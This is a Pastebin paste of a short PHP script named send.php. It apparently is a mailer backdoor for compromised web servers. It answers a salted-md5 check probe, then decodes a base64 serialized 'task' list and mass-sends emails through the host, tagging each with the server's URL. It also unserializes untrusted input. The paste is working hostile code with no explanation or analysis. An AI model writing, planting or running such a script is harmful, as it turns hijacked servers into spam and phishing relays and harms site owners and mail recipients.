SHARE
TWEET

send.php

benkow_ Apr 5th, 2016 1,017 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. if (isset($_POST['check']))
  4.     {
  5.     echo md5($_POST['check'] . 'fd39sk2as');
  6.     exit();
  7.     }
  8.  
  9. if (isset($_POST['task']))
  10.     {
  11.     error_reporting(E_ALL);
  12.     ini_set('display_errors', TRUE);
  13.     ini_set('memory_limit', '512M');
  14.     set_time_limit(0);
  15.     ini_set('max_execution_time', 0);
  16.     ini_set('set_time_limit', 0);
  17.     $x = unserialize(base64_decode($_POST['task']));
  18.     if ($x == false)
  19.         {
  20.         exit();
  21.         }
  22.  
  23.     $send_from = base64_encode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
  24.     foreach($x as $arr)
  25.         {
  26.         echo $arr['to'] . "\r\n";
  27.         $arr['msg'] = str_replace('[send_from_url]', $send_from, $arr['msg']);
  28.         mail($arr['to'], $arr['subj'], $arr['msg'], $arr['head']);
  29.         }
  30.  
  31.     exit('SEND OK');
  32.     }?>
RAW Paste Data
Top